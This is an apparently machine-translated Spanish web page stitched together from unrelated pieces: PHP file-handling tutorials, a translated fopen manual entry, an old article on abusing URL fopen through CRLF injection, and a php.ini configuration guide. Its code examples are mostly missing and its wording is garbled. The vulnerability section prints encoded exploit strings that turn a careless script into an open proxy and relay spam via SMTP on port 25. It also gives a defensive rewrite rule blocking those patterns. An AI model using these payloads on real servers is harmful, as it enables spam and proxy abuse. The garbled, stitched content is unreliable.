Menú
Gratis
Registro
hogar  /  Internet/fopen - Abre un archivo o URL. Apertura de archivos y datos externos

Fopen - Abre un archivo o URL. Apertura de archivos y datos externos

16.5K

De hecho, cómo abrir un archivo php no es un gran problema. Puede ser más difícil abrir una botella de cerveza cuando estás en medio de un bosque. Pero solo los programadores ávidos piensan así. Y para los principiantes, hablemos de todas las características de php para trabajar con archivos:

archivos php

archivos de extensión php contener código escrito en el lenguaje de programación del mismo nombre. A diferencia de otros lenguajes, php es un lenguaje de programación del lado del servidor. Es decir, se ejecuta en el lado del servidor. Por lo tanto, para depurar su código, se debe instalar un servidor local en la máquina cliente.

Para trabajar con archivos php se utilizan aplicaciones especiales- editores de software. Los más comunes de estos son:

  • tejedor de sueños
  • Editar.
  • Eclipse Desarrollo PHP.
Al crear sitios web basado en php puede necesitar un uso repetido código de programa. En tales situaciones, es conveniente incluir soluciones preparadas ubicadas en otro archivo. Para ello se utiliza incluir construir. Su sintaxis es:

incluir nombre de archivo

Ejemplo de conexión:

Archivo conectado:


También es posible incluir un archivo utilizando la construcción require. A diferencia de include, incluye un archivo incluso antes de que se ejecute el código del programa. Con la ayuda de require en el código, solo es posible una llamada a este archivo. Tras el acceso repetido, el sistema mostrará un mensaje de error global y detendrá la ejecución del programa.

La construcción include conecta la fuente solo durante la ejecución del programa. Admite la lectura múltiple del archivo php. Si ocurre un error, solo se mostrará un mensaje de advertencia y la ejecución del código continuará desde la siguiente línea.

Abrir y cerrar archivos

En php, todas las operaciones con archivos se realizan en varias etapas:

  • Abrir un archivo;
  • Edición de contenido;
  • Cerrar un archivo.

La función fopen() se utiliza para abrir un archivo. Su sintaxis es:

int fopen(nombre de archivo de cadena, modo de cadena [, int use_include_path])

Argumentos aceptados:

  • string filename - nombre de archivo o ruta absoluta al mismo. Si no se especifica la ruta al archivo, se buscará en el directorio actual. Si el archivo buscado no existe, el sistema mostrará un mensaje de error. Ejemplo:

  • modo de cadena: especifica el modo de apertura del archivo. Valores aceptados por el argumento:
  • r: el archivo está abierto solo para lectura, el puntero del archivo se establece al principio;
  • r+: el archivo está abierto para lectura y escritura;
  • w - creado archivo nuevo solo para grabar. Si ya existe un archivo con el mismo nombre, el eliminación automática toda la información;
  • w+: crea un nuevo archivo para escribir y leer. Si existe un archivo de este tipo, sus datos se sobrescriben por completo con otros nuevos;
  • a - el archivo está abierto para escritura. El puntero se establece al final. Es decir, la entrada en archivo php no comenzará desde el principio, sino desde el final;
  • a+ - abrir archivo en modo lectura-escritura. La grabación comenzará desde el final;
  • b - modo de trabajar con un archivo que contiene datos binarios (en sistema binario cálculo). Este modo solo está disponible en el sistema operativo Windows.

La función fclose() se usa para cerrar el acceso a un archivo. Sintaxis:

int fclose (int file) , donde int file es un identificador del sitio que se cerrará.

Después de cada lectura o escritura, el archivo debe cerrarse con esta función. De lo contrario, queda corriente abierta El creado para el archivo. Y esto conduce a un consumo innecesario de capacidades del servidor.

Ejemplo:

Lectura y escritura de archivos.

Para simplemente mostrar todo el contenido de un archivo, la función readfile() es ideal. Su sintaxis es:

readfile (nombre de archivo de cadena), donde nombre de archivo de cadena es un nombre de archivo de cadena (no un descriptor de archivo).


El mismo archivo se puede leer usando la función fpassthru(). Lee datos desde la posición final del puntero hasta el final del archivo. Su sintaxis es:

int fpassthru (archivo int)

Para trabajar con la función, debe abrir y cerrar el archivo. Ejemplo:

El resultado es similar al anterior.

Las funciones del archivo php le permiten leer el contenido línea por línea y carácter por carácter:

  • string fgets (archivo int, longitud int)– la función lee una cadena de longitud longitud . Ejemplo:

  • string fread (archivo int, longitud int)- la acción es idéntica a la anterior.

Hay dos funciones idénticas para escribir datos de texto en un archivo:

  • int fputs (archivo int, cadena cadena [, longitud int])
  • int fwrite (archivo int, cadena cadena [, longitud int])

Las funciones escriben en el archivo int file una cadena cadena cadena de la longitud especificada longitud int ( argumento opcional). Ejemplo:

Creación y eliminación de archivos

Para crear un archivo php, puede usar la función fopen() en el modo de acceso "w" o "w+". O la función touch(). Establece el tiempo de modificación del archivo. Si no hay ningún elemento con el nombre buscado, se creará. Su sintaxis.

(PHP 4, PHP 5, PHP 7)

fopen- Abre un archivo o URL

Descripción

recurso abierto (cadena $ nombre de archivo , cadena $modo [, bool $use_include_path = falso [, recurso $contexto ]])

fopen() Adjunta el recurso con nombre especificado en el argumento de nombre de archivo a la secuencia.

Lista de parámetros

Si el nombre de archivo se pasa en la forma "esquema://...", se trata como una URL y PHP buscará un controlador de protocolo (también conocido como "envoltorio") para ese esquema. Si no se asigna ningún envoltorio a un protocolo, PHP emitirá una nota para ayudarlo a localizar un problema potencial en su secuencia de comandos y luego continuar como si el nombre de archivo fuera un archivo normal.

Si PHP ha configurado el nombre de archivo para que apunte a un archivo local, entonces se intenta abrir una secuencia a ese archivo. PHP debe poder acceder al archivo, por lo que debe asegurarse de que los permisos del archivo lo permitan. Si ha habilitado el modo seguro o open_basedir , se aplican más restricciones.

Si PHP ha configurado el nombre de archivo para que apunte a un protocolo registrado y ese protocolo está registrado como una URL de red, PHP realiza una verificación de estado en la directiva allow_url_fopen. Si está deshabilitado, PHP emitirá una advertencia y la llamada fopen fallará.

Comentario:

Hay disponible una lista de protocolos admitidos en la sección Protocolos y envoltorios admitidos. Algunos protocolos ( envoltorios) apoyo contexto y/o opciones de php.ini. Consulte la página del protocolo correspondiente para obtener una lista de las opciones que se pueden configurar. (por ejemplo, valor php.ini agente de usuario utilizado por el envoltorio http).

En plataforma Windows, debe escapar de todas las barras diagonales inversas en la ruta del archivo o usar barras diagonales.

$manejador = fopen("c:\\carpeta\\recurso.txt" , "r" );
?>

El parámetro de modo especifica el tipo de acceso que está solicitando desde la transmisión. Puede ser una de las siguientes opciones:

Lista de modos posibles para fopen() usando el modo
modo Descripción
"r" Abre un archivo de solo lectura; coloca el puntero al principio del archivo.
"r+" Abre un archivo para lectura y escritura; coloca el puntero al principio del archivo.
"w" Abre un archivo solo para escritura; coloca el puntero al principio del archivo y lo trunca a la longitud cero. Si el archivo no existe, intenta crearlo.
"w+" Abre un archivo para lectura y escritura; coloca el puntero al principio del archivo y lo trunca a la longitud cero. Si el archivo no existe, intenta crearlo.
"a" Abre un archivo solo para escritura; coloca un puntero al final del archivo. Si el archivo no existe, intenta crearlo.
"a+" Abre un archivo para lectura y escritura; coloca un puntero al final del archivo. Si el archivo no existe, intenta crearlo.
"X" Crea y abre solo para escribir; coloca el puntero al principio del archivo. Si el archivo ya existe, llame fopen() termina en fracaso FALSO y dará un error de nivel E_ADVERTENCIA. Si el archivo no existe, intentará crearlo. Esto es equivalente a especificar las banderas O_EXCL|O_CREAT para llamada al sistema interno abierto(2).
"x+" Crea y abre para leer y escribir; por lo demás tiene el mismo comportamiento que "X".
"C" Abre un archivo solo para escritura. Si el archivo no existe, se crea. Si el archivo existe, no se trunca (a diferencia de "w"), y una llamada a esta función no arroja un error (igual que en el caso de "X"). El puntero del archivo se establecerá al principio del archivo. Esto puede ser útil si desea bloquear un archivo (ver rebaño()) antes de cambiar, ya que usando "w" puede truncar el archivo antes de que se haya adquirido el bloqueo (si desea truncar el archivo, puede usar la función ftruncar() después de una solicitud de bloqueo).
"c+" Abre un archivo para lectura y escritura; por lo demás tiene el mismo comportamiento que "C".

Comentario:

Las diferentes familias de sistemas operativos tienen diferentes convenciones para los finales de línea. Cuando escribe texto y desea insertar un salto de línea, debe usar los caracteres (o caracteres) correctos para su Sistema operativo. Uso de sistemas de la familia Unix \norte como terminador de línea, los sistemas de la familia Windows utilizan \r\n como finales de línea y sistemas de la familia Macintosh \r como terminador de línea.

Si usa el carácter de final de línea incorrecto al editar archivos, es posible que los archivos se vean "raros" cuando se abren.

Windows ofrece un indicador de modo de traducción de texto ( "t"), que se traducirá automáticamente \norte V \r\n mientras trabaja con el archivo. Y viceversa, también puedes usar "b" para forzar el modo binario, en el que sus datos no se convertirán. Para utilizar estos modos, especifique "b" o "t" la última letra del parámetro de modo.

Dado que la configuración del indicador de traducción predeterminado depende de SAPI y de la versión de PHP que esté utilizando, le recomendamos que establezca explícitamente el indicador especificado por motivos de portabilidad. Debes usar el modo "t" si estás trabajando con Archivo de texto y use \norte para marcar el final de una línea en su secuencia de comandos sin preocuparse por la legibilidad de sus archivos en otras aplicaciones como el Bloc de notas. En todos los demás casos, utilice la bandera "b".

Si no configura explícitamente el indicador "b" cuando trabaja con archivos binarios, puede experimentar una corrupción extraña de sus datos, incluidos archivos de imágenes corruptos y problemas de caracteres extraños. \r\n.

Comentario:

Por motivos de portabilidad, se recomienda encarecidamente utilizar siempre el indicador "b" al abrir archivos con fopen() .

Comentario:

Además, por motivos de portabilidad, también se recomienda encarecidamente volver a escribir el código antiguo que se basa en el modo "t" para que use los finales de línea y el modo correctos en su lugar "b".

use_include_path

El tercer parámetro opcional use_include_path se puede establecer en "1" o VERDADERO si también desea buscar un archivo en include_path .

Contexto

Comentario: Se agregó soporte de contexto en PHP 5.0.0. Para descripción contextos consulte la sección Hilos.

Valores devueltos

Devuelve un puntero de archivo en caso de éxito, o FALSO en caso de error.

Errores

Si no se pudo abrir el archivo, se generará un error de nivel. E_ADVERTENCIA. Puede utilizar un operador para suprimir este error.

Lista de cambios

Ejemplos

Ejemplo #1 Ejemplos de uso fopen()

$manejador = fopen("/home/rasmus/file.txt" , "r" );
$manejador = fopen("/home/rasmus/file.gif" , "wb" );
$manejador = fopen("http://www.ejemplo.com/" , "r" );
$manejador = fopen( "ftp://usuario: [correo electrónico protegido]/unarchivo.txt", "w");
?>

notas

Atención

Al usar SSL, Microsoft IIS rompe el protocolo cerrando la conexión sin enviar un indicador cerrar_notificar. PHP informará esto como "SSL: Error fatal de protocolo" en el momento en que llegue al final de los datos. Para evitar esto, debe establecer error_reporting en un nivel que excluya E_WARNING. Las versiones de PHP 4.3.7 y anteriores pueden detectar que el IIS problemático está en el lado del servidor al abrir una secuencia usando un contenedor https:// y no muestra una advertencia. Si estás usando fsockopen() Para crear ssl:// socket, usted es responsable de identificar y suprimir esta advertencia.

Comentario: Cuando la opción de modo seguro está habilitada, PHP verifica si el directorio con el que está a punto de trabajar tiene el mismo UID (propiedad) que el script que se está ejecutando.

Comentario:

Si tiene problemas para leer o escribir archivos y está utilizando PHP como módulo de servidor, asegúrese de que el proceso del servidor tenga acceso a los archivos y directorios que está utilizando.

Comentario:

Esta función también puede tener éxito si el nombre de archivo es un directorio. Si no está seguro de si el nombre de archivo es un archivo o un directorio, entonces necesita usar la función es_dir(), antes de llamar fopen() .

Las funciones fopen, file, include y require pueden abrir archivos de otros sitios usando protocolos http y ftp. Esta oportunidad trae vulnerabilidad potencial en scripts php, lo que le permite usar el sitio como un proxy.

Les advierto que no habrá nada nuevo en este material. A pesar de las impresionantes posibilidades para un atacante, esta vulnerabilidad es simplemente una combinación de características conocidas de php.

En 2002, en paralelo, varios grupos involucrados en la búsqueda de vulnerabilidades de software descubrieron una grave y poderosa vulnerabilidad en php.

En Internet de habla rusa, esta vulnerabilidad prácticamente no estaba cubierta. En los sitios en ruso sobre temas de seguridad, no pude encontrar un mensaje directo sobre esta vulnerabilidad.

Vulnerabilidad

Envoltorio fopen de URL

Para aumentar la funcionalidad y simplificar la codificación, los desarrolladores de php han incluido esta función en las funciones fopen, file, include y otras. Si el nombre del archivo comienza con "http://", el servidor realizará una solicitud HTTP, descargará la página y la almacenará en la variable a partir de archivo ordinario. Los prefijos "ftp://", "php://" funcionan de manera similar (el último es para leer y escribir en stdin, stdout y stderr). Esto era necesario para que los desarrolladores de sitios no sufrieran con las bibliotecas de solicitud http y no las escribieran manualmente. Esta opción está deshabilitada en la configuración de php, el parámetro allow_url_fopen.

CR/LF en solicitudes HTTP

La combinación de caracteres de retorno de carro y avance de línea en una solicitud HTTP separa los encabezados. Puede leer más sobre esto en el artículo de Anton Kalmykov. Esta combinación de caracteres se puede pasar en una solicitud GET como "%0D%0A".

entrada no confiable

En muchos sitios, las páginas se generan mediante un script de plantilla. Todas las solicitudes del sitio se redirigen al script. El nombre del archivo a abrir se toma de REQUEST_URI. Se lee el archivo, se le agrega una plantilla con navegación, encabezado, etc., y el resultado se devuelve al cliente.

Un programador descuidado o sin experiencia puede escribir fácilmente la apertura de un archivo sin verificar los datos:

echo implode("", file(substr($REQUEST_URI, 1)));

El primer carácter, la barra inclinada, se descarta de la solicitud y se abre el archivo. Un atacante puede ingresar fácilmente la cadena http://example.com como la ruta al archivo en el servidor: http://n00b.programmer.com/http://ejemplo.com Otra opción: todas las direcciones en el sitio se ven como http://n00b.programmer.com/index.php?f=noticias En este caso, el atacante intentará abrir una dirección como http://n00b.programmer.com/index.php?f=http://ejemplo.com Es muy importante desconfiar de los datos entrantes y filtrar las solicitudes entrantes con expresiones regulares.

Explotar

Dado que en el ejemplo anterior la dirección no se verifica de ninguna manera, se puede insertar una cadena con una solicitud HTTP en la solicitud. Si un intruso abre el camino

Index.php?f=http%3A%2F%2Fejemplo.com%2F+HTTP%2F1.0%0D%0A%0D%0A
Host:+example.com%0D%0AUser-agente:+Space+Bizon%2F9%2E11%2E2001+
%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A entonces el script hará una solicitud HTTP: GET example.com/HTTP/1.0\r\n
Anfitrión: ejemplo.com\r\n
Agente de usuario: Space Bizon/11/9/2001 (Windows 67)\r\n
var1=foo&var2=barra\r\n
\r\n
HTTP/1.0\r\n
Anfitrión: www.sitio1.st\r\n
Agente de usuario: PHP/4.1.2\r\n
\r\n

El script agrega las últimas tres líneas automáticamente, pero dos \r\n antes de ellas significan el final de la solicitud. Por lo tanto, un script desprotegido se puede utilizar como servidor proxy. Al conocer varios sitios "con fugas", un atacante puede construir una cadena de ellos para que sea más difícil encontrarlos.

Uso inteligente del exploit

Si el proveedor que brinda acceso gratuito a la demostración tiene un sitio con agujeros, puede escribir un script para un servidor doméstico que genere solicitudes a dicho servidor proxy y ahorre algo de dinero. Este caso, por supuesto, es jurisdiccional y punible, pero por lo general mimo. Un uso más rentable de la máquina de otra persona como proxy es enviar spam comercial. Ejemplo de un artículo escrito por Ulf Harnhammar:

Index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+
mi.propia.máquina%0D%0ACORREO+DE%3A%3Cme%40mi.propia.máquina%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+nunca+dirá+la+palabra+
PROCRASTINAR+otra vez%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

(debe ser una línea) El módulo PHP se conectará al servidor mail.example.com en el puerto 25 y enviará la siguiente solicitud:

OBTENER/HTTP/1.0\r\n
HELO mi.propia.máquina\r\n
CORREO DE:\r\n
RCPT A: \r\n
DATOS\r\n
Nunca volveré a decir la palabra PROCRASTINAR\r\n
.\r\n
SALIR\r\n\r\n

HTTP/1.0\r\n
Anfitrión: correo.sitio1.st:25\r\n
Agente de usuario: PHP/4.1.2\r\n\r\n

PHP y el servidor de correo jurarán, pero se enviará la carta. Si tiene una vulnerabilidad de este tipo en el sitio de alguien, puede buscar una retransmisión de correo cerrada que reciba correo del servidor web explotado. Esta retransmisión no estará en la lista negra de los proveedores, y el spam puede ser muy efectivo. En mi sitio, encontré muchas solicitudes con el puerto 25 en camino. Y antes del comienzo de este año, no hubo tales solicitudes. Anteriormente, solo unos pocos usuarios curiosos conocían dicha vulnerabilidad, y solo el año pasado el agujero se volvió conocido y puesto en marcha por los spammers.

Explotar las medidas de protección

Es importante que usted, como desarrollador o propietario del sitio, haga todo lo posible para que nadie pueda enviar spam a través de su sitio. Si esto funciona, será enviado desde algún dialup hawaiano, cuyos dueños no entienden el lenguaje humano, y pueden volverte extremo.

Comprobación del registro de consultas

Para empezar, es útil familiarizarse con la lista de direcciones únicas solicitadas desde el sitio. Esto ayudará a saber si ha habido casos de ataques y explotación del agujero. Por lo general, los spammers comprueban inmediatamente la posibilidad de conectarse al relé de correo que necesitan en el puerto 25. Por lo tanto, debe buscar las cadenas ":25" y "%3A25".

configuración de php

La forma más fácil de deshabilitar una posible vulnerabilidad es evitar que las URL se abran a través de funciones de archivo. Si usted es el administrador de su servidor, deshabilite allow_url_fopen en la configuración de php. Si solo es un cliente, prohíbalo localmente. En el archivo .htaccess para la raíz del sitio, escriba la línea: php_value allow_url_fopen 0 Si es un proveedor de hospedaje malvado, puede deshabilitar el envoltorio fopen de URL para todos los clientes con la directiva valor_admin_php. Habilitar el modo seguro no ayudará en este caso, la función continúa funcionando correctamente.

Cambio de código

Una situación tan difícil es posible: usted es un cliente y un administrador negligente del proveedor de alojamiento ha ingresado todas las configuraciones de php en php_admin_value y no puede cambiarlas. Tendrás que modificar el código del script. La forma más sencilla es buscar funciones fopen, file e include que abren archivos a partir de nombres de variables. Y elimine los prefijos http:// y ftp:// con la función str_replace. Sin embargo, a veces el script aún necesita abrir direcciones que provienen del usuario. Por ejemplo, un script-pornolyzer que inserta lenguas maternas en el texto o reemplaza el texto con ruso entrecortado ("una ruta para el verdadero astsof, fsem fftkat"). Estos sitios son probablemente los más afectados por una programación descuidada. En este caso, es muy posible que nos limitemos a cortar "\r\n" de la cadena recibida. En este caso, el atacante no podrá agregar su propio encabezado a la solicitud que envíe.

Dejar de trabajar en solicitud ofensiva

Un cliente que escanea su sitio en busca de variables no verificadas genera tráfico innecesario y carga el procesador del servidor. Está claro que no necesita las páginas que genera tu sitio, si no funcionan como proxy. Es aconsejable eliminar tales solicitudes incluso antes de iniciar el intérprete de php. Esto se puede hacer usando el módulo mod_rewrite. En el archivo .htaccess en la raíz del sitio, puse la siguiente línea:

Regla de reescritura ((%3A|:)25|%0D%0A) - [G]

Esto supone que el sitio no enviará formularios con entradas de usuario de varias líneas utilizando el método GET. De lo contrario, serán detenidos por esta regla.

Si admite el direccionamiento de fácil lectura con mod_rewrite, lo más probable es que no se utilicen los dos puntos y CRLF. Por lo tanto, otras líneas de RewriteRule no coincidirán con la solicitud de exploración, y la línea que deja de procesar la solicitud debe colocarse al final de la lista de reglas. Luego, las solicitudes normales se reescribirán y redirigirán a esta línea (use el indicador [L]), lo que reducirá su tiempo de procesamiento. Puede variar dependiendo de las condiciones.

En este capítulo le enseñaremos cómo abrir, leer y cerrar un archivo en el servidor.

Abrir archivo PHP - fopen()

Un mejor método para abrir archivos es con la función fopen(). Esta función le brinda más opciones que la función readfile().

Usaremos el archivo de texto, "webdictionary.txt", durante las lecciones:

AJAX = JavaScript asíncrono y XML
CSS = hojas de estilo en cascada
HTML = lenguaje de marcado de hipertexto
PHP = Preprocesador de hipertexto PHP
SQL = lenguaje de consulta estructurado
SVG = Gráficos vectoriales escalables
XML = lenguaje de marcado extensible

El primer parámetro de fopen() contiene el nombre del archivo que se abrirá y el segundo parámetro especifica en qué modo se debe abrir el archivo. El siguiente ejemplo también genera un mensaje si la función fopen() no puede abrir el archivo especificado:

ejemplo


echo fread($myfile,filesize("webdictionary.txt"));
fclose($miarchivo);
?>

ejecutar ejemplo »

consejo: Las funciones fread() y fclose() se explicarán a continuación.

El archivo se puede abrir en uno de los siguientes modos:

modos Descripción
r Abrir un archivo para solo lectura
w Abrir un archivo solo para escritura
a Abrir un archivo solo para escritura
X Crea un nuevo archivo solo para escritura.
r+ Abrir un archivo para lectura/escritura. El puntero del archivo comienza al principio del archivo.
w+ Abrir un archivo para lectura/escritura. Borra el contenido del archivo o crea un nuevo archivo si no existe El puntero del archivo comienza al principio del archivo
un+ Abrir un archivo para lectura/escritura. Los datos existentes en el archivo se conservan. El puntero de archivo comienza al final del archivo. Crea un nuevo archivo si el archivo no existe
x+ Crea un nuevo archivo para lectura/escritura. Devuelve FALSO y un error si el archivo ya existe

Archivo de lectura PHP - fread()

La función fread() lee desde un archivo abierto.

El primer parámetro de fread() contiene el nombre del archivo para leer y el segundo parámetro especifica el número máximo de bytes para leer.

El siguiente código PHP lee el archivo "webdictionary.txt" hasta el final:

Fread($miarchivo,tamañoarchivo("webdictionary.txt"));

PHP Cerrar archivo - fclose()

La función fclose() se usa para cerrar un archivo abierto.

Es una buena práctica de programación cerrar todos los archivos una vez que haya terminado con ellos. ¡No querrá que un archivo abierto corra por su servidor y consuma recursos!

fclose() requiere el nombre del archivo (o una variable que contenga el nombre del archivo) que queremos cerrar:

$miarchivo = fopen("webdictionary.txt", "r");
// algun codigo a ejecutar....
fclose($miarchivo);
?>

PHP Leer una sola línea - fgets ()

La función fgets() se usa para leer una sola línea de un archivo.

El siguiente ejemplo genera la primera línea del archivo "webdictionary.txt":

Nota: Después de una llamada a la función fgets(), el puntero del archivo se ha movido a la siguiente línea.

PHP Verifica el final del archivo - feof ()

La función feof() comprueba si se ha alcanzado el "fin de archivo" (EOF).

La función feof() es útil para recorrer datos de longitud desconocida.

El siguiente ejemplo lee el archivo "webdictionary.txt" línea por línea, hasta que se alcanza el final del archivo:

ejemplo

$myfile = fopen("webdictionary.txt", "r") or die("¡No se pudo abrir el archivo!");
// Salida de una línea hasta el final del archivo
while(!feof($miarchivo)) (
echo fgets($miarchivo) . "
";
}
fclose($miarchivo);
?>

ejecutar ejemplo »

PHP Leer un solo carácter - fgetc ()

La función fgetc() se usa para leer un solo carácter de un archivo.

El siguiente ejemplo lee el archivo "webdictionary.txt" carácter por carácter, hasta que se alcanza el final del archivo:

ejemplo

$myfile = fopen("webdictionary.txt", "r") or die("¡No se pudo abrir el archivo!");
// Salida de un caracter hasta el final del archivo
while(!feof($miarchivo)) (
echo fgetc($miarchivo);
}
fclose($miarchivo);
?>

ejecutar ejemplo »

Nota: Después de una llamada a la función fgetc(), el puntero del archivo se mueve al siguiente carácter.

Referencia completa del sistema de archivos PHP

Para obtener una referencia completa de las funciones del sistema de archivos, vaya a nuestro completo

La ubicación del archivo php.ini depende del sistema operativo en el que se ejecuta el servidor del proveedor de alojamiento. Para saber dónde está, sigue 4 sencillos pasos:

  1. Cree un archivo php (el nombre puede ser cualquier cosa, pero tomamos myphpinfo.php como ejemplo) y agréguele las siguientes líneas:
  2. Subimos este archivo al servidor donde se encuentra su sitio (a la carpeta raíz).
  3. Lanzamos a través del navegador (ingrese la URL https://yoursitename.com/myphpinfo.php).
  4. En la ventana que aparece, busque la ruta a php.ini (para empezar, mire "Archivo de configuración cargado", si dice "Ninguno", luego mire "Ruta del archivo de configuración (php.ini)").

¿Cómo configurar php.ini?

El archivo php.ini tiene estas reglas de sintaxis "directive=value". Si quieres añadir comentarios (por ejemplo, en los que indiques lo que afecta esta configuración), luego hágalo después del punto y coma (todo lo que esté después de este carácter no se cuenta como un comando). Aquí hay un ejemplo:

max_execution_time = 40 ; Número máximo de segundos de ejecución del script

Configuración general

phpengine = activado; Secuencias de comandos PHP habilitadas.

Short_open_tag = Activado; Le permite simplemente enmarcar el código PHP con etiquetas

Asp_tags = Activado; Habilita la capacidad de resaltar el código PHP, como se hace en ASP -<% %>

Precisión = 12 ; Especifica cuántos dígitos habrá después del punto decimal para los números de coma flotante.

salida_búfer = 4096; El almacenamiento en búfer de salida se habilitará automáticamente, con el tamaño de búfer especificado después de "igual".

Modo_seguro = Activado; Modo seguro.

Safe_mode_allowed_env_vars = PHP_; Permite al usuario trabajar solo con variables de entorno que comienzan con PHP_. Si esta directiva está vacía (sin valor), los usuarios podrán cambiar cualquier variable de entorno. Esto puede ser muy malo para la seguridad del script.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; Prohíbe cambiar las variables que se enumeran separadas por comas.

desactivar_funciones = ; Después del signo "igual", debe escribir las funciones que desea deshabilitar, separadas por una coma (generalmente esto se hace por seguridad)

desactivar_clases = ; Después del signo "igual", debe escribir las clases, cuya llamada desea prohibir, separadas por una coma (generalmente esto se hace por seguridad)

Límite de recursos

max_execution_time = 40 ; Tiempo máximo para ejecutar el script (en segundos)

Max_input_time = 40 ; El tiempo máximo en segundos que el script puede procesar los datos que se están cargando.

límite_memoria = 16M; La memoria máxima que se asigna para la operación de un script

Gestión de errores y registros

error_reporting = E_TODOS | E_ERROR | E_ADVERTENCIA | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | AVISO_E_USUARIO ; Especifica una lista de errores que se pueden generar.

mostrar_errores = Activado; Permite generar errores directamente en el navegador (a menudo se usa para la conveniencia de la depuración).

display_startup_errors = Activado ; Se permite mostrar los errores que aparecen cuando se inicia PHP.

log_errors = activado; Los errores se pueden escribir en el archivo de registro.

log_errors_max_len = 1024; El número máximo de caracteres que puede tener el registro.

Track_errors = Activado; El último mensaje de error se almacenará en la variable $php_errormsg

html_errors = Activado ; Los mensajes de error están permitidos en HTML.

error_log = nombre de archivo; Especifica el nombre del registro de errores.

Procesamiento de datos

variables_order = "EGPCS"; Establece el orden en que PHP registrará las variables (E: variables integradas, G: variables GET, P: variables POST, C: cookies, S: sesiones). Si elimina alguna de las letras, se bloqueará el trabajo de las variables correspondientes.

Registro_globales = Activado ; Habilita la capacidad de acceder a las variables que entran a través de GET/POST/Cookie/sesión como variables normales (por ejemplo, "$variablename").

Register_argc_argv = Activado ; Se permite crear variables $argv y $argc basadas en información del método GET.

Post_max_size = 8M; Establece la cantidad máxima de datos que se pueden recibir.

Magic_quotes_gpc = Activado; Habilita el manejo automático de cotizaciones que llegan a través de POST/GET/Cookie.

Auto_prepend_file = ; El contenido de los archivos especificados en estas directivas debe ser procesado por PHP en consecuencia ANTES de que se ejecute el script.
auto_append_file = ; El contenido de los archivos especificados en estas directivas debe ser manejado en consecuencia por PHP DESPUÉS de ejecutar el script.

Default_mimetype = "texto/html"; Establece la codificación para el tipo de contenido. El valor predeterminado será texto/html sin codificación.

raíz_doc = ; Establece la carpeta raíz para los scripts de PHP.

Extensión_dir = "./" ; Especifica la carpeta donde se almacenarán las extensiones cargadas dinámicamente.

Subir archivo

file_uploads = Activado; Se permite subir archivos al servidor.

Subir_tmp_dir = ; Directorio temporal para los archivos que se están cargando.

Upload_max_filesize = 2M; Establece el tamaño máximo de archivo que se puede cargar.

Trabajando con enchufes

agente_usuario="PHP" ; La variable USER_AGENT se establece cuando se produce una conexión de socket.

Default_socket_timeout = 30 ; El tiempo máximo para escuchar en un socket (segundos).

Sesiones

session.save_handler=archivos; Especifica que la información de la sesión debe almacenarse en archivos

session.save_path = /tmp; Después del signo "igual", debe especificar la ruta a la carpeta en la que se almacenará la información sobre las sesiones (es importante que esta carpeta ya exista)

sesión.use_cookies = 1 ; Permite el uso de cookies en las sesiones

sesión.nombre = PHPSESSID ; Indica usar como nombre de sesión y cookie de sesión - ID de sesión

sesión.cookie_lifetime = 0 ; Vida útil de la sesión ("0" significa que la sesión vive hasta que se cierra la ventana del navegador)

sesión.use_trans_sid = 1 ; Si el usuario ha deshabilitado las cookies, la identificación de la sesión se agregará a todos los enlaces.

Extensiones dinámicas

extension=nombre_modulo.extension ; Se puede utilizar para cargar módulos externos. Para sistemas Windows, normalmente escriben - extension=msql.dll, y para
UNIX - extensión=msql.so

Trabajando con módulos MySQL

mysql.allow_persistent=Activado; Permitir conexiones MySQL persistentes.

mysql.max_persistent = -1; Especifica el número máximo de conexiones MySQL estables. Si especifica -1, significará que no hay restricciones.

mysql.max_enlaces = -1 ; Especifica el número máximo de conexiones MySQL estables y conexiones ODBC inestables. Si especifica -1, significará que no hay restricciones.

mysql.default_port = ; Puerto para la función mysql_connect.

mysql.default_socket = ; Nombre de socket para conexiones MySQL locales.

mysql.predeterminado_host = ; Nombre de host para la función mysql_connect.

mysql.default_user = ; Nombre de usuario.

mysql.default_password = ; Contraseña.

Si ha creado su propio archivo php.ini y lo ha colocado en la carpeta del sitio

En este caso, por razones de seguridad, debe bloquear el acceso a todos menos a usted. Para hacer esto, debe escribir el siguiente código en el archivo .htaccess:


orden permitir, negar
Negar todo

Pero ten cuidado, porque. con esta configuración, todas las directivas (php_value, php_flag, etc.) relacionadas con la configuración de php a través del archivo .htaccess dejarán de funcionar (se generará un error interno del servidor 500).

¡Importante! Si crea su propio archivo php.ini, solo afectará el directorio en el que se encuentra.